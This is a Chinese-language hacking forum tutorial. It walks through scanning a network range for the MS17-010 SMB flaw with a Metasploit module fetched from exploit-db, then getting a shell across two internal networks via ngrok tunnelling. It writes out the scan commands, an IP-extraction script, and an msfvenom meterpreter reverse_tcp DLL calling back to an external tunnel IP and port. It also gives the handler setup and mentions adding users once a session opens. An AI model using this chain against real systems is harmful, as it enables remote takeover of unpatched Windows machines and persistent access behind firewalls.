taibeihacker
Moderator
0x00 前言
本文主要介紹一下MSF模塊的下載、使用,以及當攻擊機處於內網,而目標機也處於內網的解決方法。這裡借助MS17-010漏洞來具體講解一下,並沒有新的知識點,可以為剛入門的新手拋磚引玉,提供一條解決問題的思路,同時也記錄一下過程,加強記憶。主要分為兩個知識點,一是SMB漏洞的批量檢測,二是內網穿透技術。
首先是環境的搭建,具體如下表所示:
主機IP備註Kali 64位
192.168.232.134
攻擊機
Windows XP 32位
192.168.232.128
安裝了python2.6,下載有方程式利用工具包(主要為Windows目錄下的工具)
Window2008 R2 64位
10.50.2.62
靶機,存在MS17-010漏洞,並可以訪問外網
0x01 SMB漏洞批量检测
1.扫描脚本的下载和加载
由於Metasploit還沒有更新MS17-010檢測的模塊,所以要去exploit-db下載,並在MSF中加載。root@kali:~# cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
root@kali:/usr/share/metasploit-framework/modules/auxiliary/scanner/smb# wget https://www.exploit-db.com/download/41891 -O smb_ms_17_010.rb

啟動Metasploit,模塊會自動加載,或者使用命令reload_all重新加載所有模塊。
2.漏洞扫描的使用方法
選擇使用smb_ms_17_010模塊,並查看使用命令。msf use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) show options

所必須的參數有三個,對於無需登錄的SMB,我們只需設置一下掃描的IP段、線程並運行即可開始掃描。
msf auxiliary(smb_ms_17_010) set RHOSTS 10.50.2.1-255
RHOSTS=10.50.2.1-255
msf auxiliary(smb_ms_17_010) set THREADS 10
THREADS=10
msf auxiliary(smb_ms_17_010) run

出現黃色警告的表示可能存在,需要進一步驗證。
為了方便將存在漏洞的IP列出來,寫了一個簡單的Python腳本。
import re
if __name__=='__main__':
f=open('smb.txt', mode='r', buffering=1)
while(True):
line=f.readline()
if line :
if 'likely' in line:
print line.split(' ')[1].split(':')[0]
else:
break
提取出的IP如下所示:
.
10.50.2.52
10.50.2.62
10.50.2.65
10.50.2.61
10.50.2.63
10.50.2.64
10.50.2.76
10.50.2.69
10.50.2.77
10.50.2.78
10.50.2.79
.
0x02 内网穿透
有了存在漏洞的地址,接下來將開始對其進行驗證,以10.50.2.62為例。由於Kali在虛擬機,宿主機IP為2.0.目標機在10.50.2.*。相當於需要從內網到另一個內網, 選擇採用了ngrok進行tcp的端口轉發來實現內網的穿透。
這裡採用了www.ngrok.cc平台進行演示,類似這樣的平台有很多,例如natapp.cn等。
註冊並開通隧道,如圖所示。

下載對應的客戶端,下載地址為:https://www.ngrok.cc/#down-client,選擇與系統對應的軟件。
我這裡Kali為64位的,下載和使用命令如下:
root@kali:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
root@kali:~/Downloads# unzip linux_amd64.zip
root@kali:~/Downloads# cd linux_amd64/
root@kali:~/Downloads/linux_amd64# ls
root@kali:~/Downloads/linux_amd64# ./sunny clientid 隧道ID
使用如下命令生成用於監聽的dll文件。監聽的IP為server.ngrok.cc的地址,端口為開通隧道時填寫的遠程端口。

出現下圖的界面表示運行成功。

root@kali:~/Documents# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=6266 -f dll got.dll

然後在Kali上設置監聽本機的IP和端口,也就是在開通隧道時填寫的本地端口。
use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) exploit

由於關於Eternalblue利用方法有很多教程了,這裡就不詳細說明了,如圖所示。


攻擊成功時查看ngrok客戶端發現有一個連接。

而且Kali上也生成了一個meterpreter會話。

之後的操作就很簡單了,可以添加用戶等等。
最後遠程登錄成功如下圖所示。

使用natapp也是可以的。

0x03 总结
本文主要以MS17-010為例,講解瞭如何下載和利用Metasploit中沒有的模塊,以及如何解決內網到內網的穿透的問題,當然解決的方法還有很多,這裡就不再介紹了。沒有什麼新的知識,怕忘記所以記錄一下~~
0x04 参考
[1]https://www.exploit-db.com/exploits/41891/[2]http://bobao.360.cn/learning/detail/3041.html